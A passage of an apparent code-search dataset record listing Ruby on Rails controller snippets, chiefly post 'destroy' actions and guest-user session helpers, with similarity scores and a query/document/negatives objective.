"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n render json: {\n data: {\n post: { key: @post.id },\n status: @post.status,\n }\n }\n end",
"def destroy\n\t\tpost = Post.find(params[:id])\n\t\t# byebug\n \tpost.destroy\n\t posts = Post.all\n \trender json: posts\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to posts_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path, notice: \"Post removed.\" }\n format.json { render 'destroy' }\n end\n end",
"def delete\n @post = Post.find(params[:id])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path(client_id:current_user.client.id, per_page:5), notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to root_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/posts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n render json: Post.all.as_json\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to blog_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n @title = \"Kill Post\"\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to all_user_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html {redirect_to posts_url, notice: 'Post was successfully destroyed.'}\n format.json {head 200}\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path, notice: 'Post was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with post.destroy(params[:id])\n end",
"def destroy\n @post.destroy\n \n respond_to do |format|\n format.html { redirect_to post_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n Post.find(params[:id]).delete\n\n redirect_to '/'\n end",
"def destroy\n # @post = Post.find(params[:id])\n #@post.destroy\n\n #respond_to do |format|\n # format.html { redirect_to posts_url }\n #format.json { head :no_content }\n #end\n end",
"def delete(url)\n raise Error, \"Missing URL\" unless url\n get('posts/delete?uri=' << u(url))\n nil\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find_by_slug(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Anúncio removido com sucesso.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.friendly.find(params[:id])\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Story deleted' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: \"Postitus edukalt kustutatud!\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url, notice: 'Postagem excluída com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mural_post.destroy\n respond_to do |format|\n format.html { redirect_to mural_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @posto = Posto.find(params[:id])\n @posto.destroy\n\n respond_to do |format|\n format.html { redirect_to postos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n end"
] | [
"0.8046884",
"0.76902676",
"0.7583626",
"0.75803024",
"0.7568048",
"0.75047046",
"0.75031126",
"0.74750155",
"0.74671036",
"0.74650854",
"0.746482",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74589694",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.74579465",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7428427",
"0.7423174",
"0.74059606",
"0.73990285",
"0.73928183",
"0.7389498",
"0.7371715",
"0.7371117",
"0.7349121",
"0.7344524",
"0.7342226",
"0.7338908",
"0.7313371",
"0.73123556",
"0.731156",
"0.73095584",
"0.7299751",
"0.7298017",
"0.7298017",
"0.7282874",
"0.7277125",
"0.7266815",
"0.7260945",
"0.72549784",
"0.7254856",
"0.7239102",
"0.7238946",
"0.7229726",
"0.7227931",
"0.7221013",
"0.721375",
"0.7211237",
"0.72097856",
"0.7190222",
"0.71850675",
"0.7171746",
"0.71533066",
"0.71457464",
"0.71434635",
"0.7142048",
"0.7139985",
"0.7137574"
] | 0.0 | -1 |
if user is logged in, return current_user, else return guest_user | def current_or_guest_user(params)
if current_user
if cookies[:uuid]
unless current_user.guest?
cookies.delete :uuid
end
end
current_user
else
guest_user(params)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_or_guest_user\n if current_user\n transfer_session_to_logged_in_user if session[:guest_user_id].present?\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if user_signed_in? then current_user else guest_user end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user_log_out\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n current_user ? current_user : guest_user\n end",
"def current_or_guest_user\n current_user || guest_user\n end",
"def current_or_guest_user\n current_user || guest_user\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n #guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user!\n if current_user\n if cookies[:uuid]\n\n # Called when a guest user is converted to current user\n promote_guest_to_user(current_user)\n\n # destroy the guest user and the session\n destroy_guest_user\n end\n current_user\n else\n find_or_create_guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in(guest_user_id)\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n return current_user\n else\n return guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if cookies.signed[:guest_user_email]\n logging_in\n guest_user.delete\n cookies.delete :guest_user_email\n end\n current_user\n else\n guest_user\n end\n end",
"def get_current_user\n @current_user = current_or_guest_user\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_authentication_token] &&\n !current_user.matches_guest_authentication_token?(session[:guest_authentication_token])\n # transfer_guest_to_current_user\n guest_user(with_retry = false).try(:destroy)\n session[:guest_authentication_token] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n current_user || User.find_by_lazy_id(cookies[:uuid])\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_user\n # if a user is logged in we just use devise's implementation.\n super || guest_user\n end",
"def current_or_guest_user\n\t\tif current_user\n\t\t\tif session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\t\t\t\tlogging_in\n\t\t\t\tguest_user(with_retry = false).try(:destroy)\n\t\t\t\tsession[:guest_user_id] = nil\n\t\t\tend\n\t\t\tcurrent_user\n\t\telse\n\t\t\tguest_user\n\t\tend\n\tend",
"def current_user\n if session[:user_id] != nil\n user = User.find(session[:user_id])\n elsif session[:guest_id] != nil\n user = User.find(session[:guest_id])\n else\n user = User.new(name: \"Guest\", authenticated: false)\n user.save\n session[:guest_id] = user.id\n end\n return user\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n #guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_user\r\n super || guest_user\r\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_user\r\n super || guest_user\r\n end",
"def current_user_or_guest\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_or_guest_user\n if current_user\n if cookies[:uuid]\n logging_in # Look at this method to see how handing over works\n guest_user.destroy # Stuff have been handed over. Guest isn't needed anymore.\n cookies.delete :uuid # The cookie is also irrelevant now\n end\n current_user\n else\n guest_user\n end\n end",
"def current_user\n super || guest_user\n end",
"def current_user\n super || guest_user\n end",
"def current_user\n super || guest_user\n end",
"def current_or_guest_user(create_guest = false)\n @current_or_guest_user ||=\n (\n logger.debug 'ApplicationController:current_or_guest_user'\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n remove_guest\n logger.debug \"ApplicationController:current_or_guest_user >>> current_user and guest_user session found -- guest_user remove and return current_user\"\n end\n current_user\n else\n logger.debug \"ApplicationController:current_or_guest_user >>> current_user not found -- switching to guest_user with create = #{create_guest}\"\n guest_user(create_guest)\n end\n )\n end",
"def current_or_guest_user\n \tif current_user\n \t\tif session[:guest_user_id]\n \t\t\tlogging_in\n \t\t\tguest_user.destroy\n \t\t\tsession[:guest_user_id] = nil\n \t\tend\n \t\tcurrent_user\n \telse\n \t\tguest_user\n \tend \t\n end",
"def current_user\n #super the main class of devise current_user\n super || guest_user\n end",
"def current_user \n #will never return NIL, create a fake user\n #will return the super value (logged in user) OR the guest infos.\n super || guest_user\n end",
"def current_or_guest_user\n Rails.logger.warn(\"current_or_guest_user is DEPRECATED - just use current_user\") \n current_user\n end",
"def current_user( user = :get )\n if( user == :get )\n session[:user] ||= guest_account\n else\n session[:user] = user\n end\n end",
"def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end",
"def current_user\n \tsuper || guest_user\n \t#Super quiere decir que exactamente con los valores \n \t#del metodo original sin cambiar nada\n end",
"def user_or_guest\n user or Guest.new(guest_uid, guest_name)\n end",
"def guest_user\n @guest_user ||= User.where(guest: true).first || super\n end",
"def guest_user\n guest_id = session[:guest_user_id]\n if guest_id.nil? || User.find(guest_id).nil?\n user = create_guest_user\n session[:guest_user_id] = user.id\n return User.find(user.id)\n end\n User.find(guest_id)\n end",
"def current_user\n @current_user ||= User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n #login User.create_guest\n end",
"def guest_user\n unless defined? @guest_user\n if session[:guest_user_id] && (user = User.where(:id => session[:guest_user_id]).first)\n @guest_user = user\n else\n @guest_user = create_guest_user!\n session[:guest_user_id] = @guest_user.id\n end\n end\n return @guest_user\n end",
"def current_user\n # super: don't change anything, i just want the exact same behavior \n # as in the method that we are overriding\n\n # what this line means is that if the user is logged in, super is true,\n # then call super treat everything normal, and ignore right hand side\n # if super == false, call right hand side\n\n # super comes from devise class\n # meanwhile the r.h.s comes from open struct class\n super || guest_user\n end",
"def current_user\n if devise_current_user\n if cookies[:guest_user_id]\n logging_in\n guest_user.destroy\n cookies.delete :guest_user_id\n end\n devise_current_user\n else\n guest_user\n end\n end",
"def current_user\n User.find_by(uid: session[:user]) if logged_in?\n end",
"def guest_user\n User.find(session[:guest_user_id].nil? ? session[:guest_user_id] = create_guest_user.id : session[:guest_user_id])\n end",
"def guest_user\n @_guest ||= Guest.from_cookies(cookies) unless user_signed_in?\n end",
"def current_user\n if session[:user_id]\n return User.find(session[:user_id])\n end\nend",
"def current_user\n logged_in? ? User.find_by_id(session[:user_id]) : nil\n end",
"def current_user_or_admin\n if current_user \n return current_user\n elsif current_admin \n return current_admin\n end \n end",
"def current_user\n @user ||= User.find_by_id(session[:user_id])if logged_in?\n end",
"def get_user\n @current_user = current_admin || current_user\n end",
"def current_user\n User.find session[:user_id] if user_signed_in?\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n else\n end\n end",
"def get_or_create_user\n @user||=use_url_session? ? get_or_create_url_session_user : current_user_with_guest\n end",
"def current_user\n if @user\n @user\n elsif session[:user_id]\n @user = User.find(session[:user_id])\n else\n redirect_to login_path and return\n end\n end",
"def guest_user\n User.find_by_lazy_id(cookies[:uuid].nil? ? create_guest_user.lazy_id : cookies[:uuid])\n end",
"def current_user\n # User.find would throw an error if we cannot find the user\n if session[:user_id]\n User.find_by({ id: session[:user_id] })\n else\n Dog.find_by({ id: session[:dog_id] })\n end\n end",
"def current_user\n login_from_session || login_from_basic_auth \n end",
"def current_user\n logger.debug 'ApplicationController:current_user'\n @current_user ||= super\n @current_user && @current_user.is_guest? ? nil : @current_user\n end",
"def token_or_current_or_guest_user\n token_user || current_or_guest_user\n end",
"def current_user\n if session[:user_id]\n User.find(session[:user_id])\n end\nend",
"def current_user\n User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n begin\n unless @current_user.nil?\n return @current_user\n else\n if session[:user_id]\n return @current_user = User.find(session[:user_id])\n else\n return nil\n end\n end\n rescue\n return nil\n end\nend",
"def guest\n defaultuser = (\n case ActiveRecord::Base.connection.adapter_name\n when 'MySQL'\n 'defaultUser'\n else\n 'defaultuser'\n end\n )\n User.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND #{defaultuser} = true\" )\n end",
"def current_user\n return unless session[:user_id]\n User.find(session[:user_id])\n end",
"def current_user\n login_from_session || login_from_basic_auth\n end",
"def current_user\n\t\tauthenticated(User)\n\tend",
"def current_user\n return @current_user if @current_user.present?\n\n session_user_id = session[:user_id]\n @current_user = if session_user_id.present?\n User.find_by(id: session_user_id) || AdminUser.find_by(id: session_user_id)\n end\n end",
"def current_user(id = session[:user_id])\n User.get_one id\n end",
"def current_user # Check the current user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n User.find_by_id(session[:user_id]) if session[:user_id] \n end",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n return nil unless session[:user_id]\n User.get(session[:user_id])\nend",
"def guest_user\n begin\n if !@cached_guest_user\n session[:guest_user_id] ||= create_guest_user.id\n @cached_guest_user = User.find(session[:guest_user_id])\n end\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n @cached_guest_user = nil\n guest_user\n end\n @cached_guest_user\n end",
"def current_user\n @current_user ||= find_logged_in_user\n end",
"def current_user\n # User.find would throw an error if we cannot find the user\n User.find_by({ id: session[:user_id] })\n end",
"def current_user\n \n # Normally we would look in the session to see if there is a user_id \n # to figure out if the user is loggged in.\n # For demo purposes this app randomly picks if the user is logged in\n if rand(100) > 20 \n User.last\n else\n nil\n end\n end",
"def current_user\n\tif session[:user_id].present?\n\t\tUser.find(session[:user_id])\t\n\tend\nend",
"def current_user\n User.find(session[:user])\n end",
"def current_user\n if session[:user_id] # if there is a session id, the current user is the one whose session id is the same as the user id \n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id] #find user in database based on id, if not already logged in. \n \n end",
"def current_user\n User.find session[:id] if session[:id]\n end",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n if !session[:user_id] then nil else User.find(session[:user_id]) end\n end",
"def current_user\n User.get_user(session[:user_id]) if session[:user_id]\n end",
"def find_current_user\n # adding if to prevent rails from checking user when logged out\n if is_logged_in?\n #save to a variable\n @current_user = User.find(session[:user_id]);\n else\n @current_user = nil\n end\n end",
"def current_user\n @current_user || User.find(session[:user_id]) if session[:user_id]\n \tend",
"def current_user\n @current_user ||= User.find(session[:user_id]) if user_signed_in?\n end"
] | [
"0.8972976",
"0.89307785",
"0.8852604",
"0.86945367",
"0.8651757",
"0.853395",
"0.853395",
"0.8513949",
"0.8457797",
"0.8418504",
"0.84031",
"0.8402678",
"0.839943",
"0.839943",
"0.8398982",
"0.8397229",
"0.83788675",
"0.83763117",
"0.83692396",
"0.8366224",
"0.83564925",
"0.83564925",
"0.83564925",
"0.83548176",
"0.8354018",
"0.8349234",
"0.83031744",
"0.8283707",
"0.82405543",
"0.8236585",
"0.8236585",
"0.821015",
"0.8189616",
"0.8176988",
"0.810661",
"0.810661",
"0.810661",
"0.8090741",
"0.8087863",
"0.7999615",
"0.7981668",
"0.7978036",
"0.7960273",
"0.7838403",
"0.7825854",
"0.78109384",
"0.77983606",
"0.7778679",
"0.7776178",
"0.77310115",
"0.77131945",
"0.7706047",
"0.77058566",
"0.7688258",
"0.76406294",
"0.7629765",
"0.7625768",
"0.7614278",
"0.7601313",
"0.7598186",
"0.7572878",
"0.7568321",
"0.7544477",
"0.7541797",
"0.7534303",
"0.7534114",
"0.75272906",
"0.75198156",
"0.7505718",
"0.750517",
"0.7503507",
"0.7503507",
"0.7501399",
"0.75009686",
"0.749048",
"0.74871397",
"0.74703634",
"0.7469917",
"0.7468915",
"0.74603873",
"0.745958",
"0.7459427",
"0.7459427",
"0.74578035",
"0.74529004",
"0.74494886",
"0.744309",
"0.74428725",
"0.7436421",
"0.74330807",
"0.7430757",
"0.74294627",
"0.74243146",
"0.7424036",
"0.7424036",
"0.74229515",
"0.74158365",
"0.7413775",
"0.7412927",
"0.7412315"
] | 0.82762253 | 28 |
find guest_user object associated with the current session, creating one as needed | def guest_user(params)
if u = User.where(:lazy_id => true).where(:lazy_id => cookies[:uuid]).first
u
else
create_guest_user(params)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def guest_user\n User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end",
"def guest_user\n User.find(session[:guest_user_id].nil? ? session[:guest_user_id] = create_guest_user.id : session[:guest_user_id])\n end",
"def guest_user\n if session[:guest_user_id]\n guest = Guest.where(id: session[:guest_user_id]).first\n end\n guest ||= Guest.create\n session[:guest_user_id] = guest.id\n guest\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end",
"def guest_user\n \t# Cache the value the first time it's gotten.\n \t@cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound #if (session[:guest_user_id] invalid\n \tsession[:guest_user_id] = nil\n \tguest_user\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue Mongoid::Errors::DocumentNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end",
"def guest_user\n begin\n if !@cached_guest_user\n session[:guest_user_id] ||= create_guest_user.id\n @cached_guest_user = User.find(session[:guest_user_id])\n end\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n @cached_guest_user = nil\n guest_user\n end\n @cached_guest_user\n end",
"def guest_user\n unless defined? @guest_user\n if session[:guest_user_id] && (user = User.where(:id => session[:guest_user_id]).first)\n @guest_user = user\n else\n @guest_user = create_guest_user!\n session[:guest_user_id] = @guest_user.id\n end\n end\n return @guest_user\n end",
"def guest_user\n\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n @cached_guest_user\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n\n guest_user\n end",
"def guest_user\n guest_id = session[:guest_user_id]\n if guest_id.nil? || User.find(guest_id).nil?\n user = create_guest_user\n session[:guest_user_id] = user.id\n return User.find(user.id)\n end\n User.find(guest_id)\n end",
"def guest_user\n @cached_guest ||= create_guest_user\n end",
"def create_guest_user\n logger.debug \"ApplicationController:create_guest_user >>> creating new guest_user record\"\n guest = User.new_guest_user\n session[:guest_user_id] = guest.id\n guest\n end",
"def create_guest_user\n u = User.new(:name => \"guest\", :email => \"guest_#{Time.now.to_i}#{rand(100)}@example.com\", :guest => true)\n u.save!(:validate => false)\n session[:guest_user_id] = u.id\n u\n end",
"def create_guest_user!\n # bah, this may not be entirely guaranteed to be unique\n # but it would be hard for it to collide, good enough. Actually\n # if the rails session id isn't unique, it's gonna cause problems\n # for more than just us, we should be good with just that even.\n unique_token = \"#{request.session_options[:id]}_#{(Time.now.to_f * 1000.0).to_i}_#{Process.pid}\"\n\n new_user = User.new.tap do |u|\n u.login = \"GUEST_USER_#{unique_token}\"\n u.guest = true\n u.save!\n end\n end",
"def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(cookies[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n cookies[:guest_user_id] = nil\n guest_user\n end",
"def create_guest_user\n email = \"guest_#{Time.now.to_i}#{rand(99)}@example.com\"\n u = User.create(:email => email)\n u.save!(:validate => false)\n session[:guest_user_id] = u.id\n u\n end",
"def guest_user\n User.find_by_lazy_id(cookies[:uuid].nil? ? create_guest_user.lazy_id : cookies[:uuid])\n end",
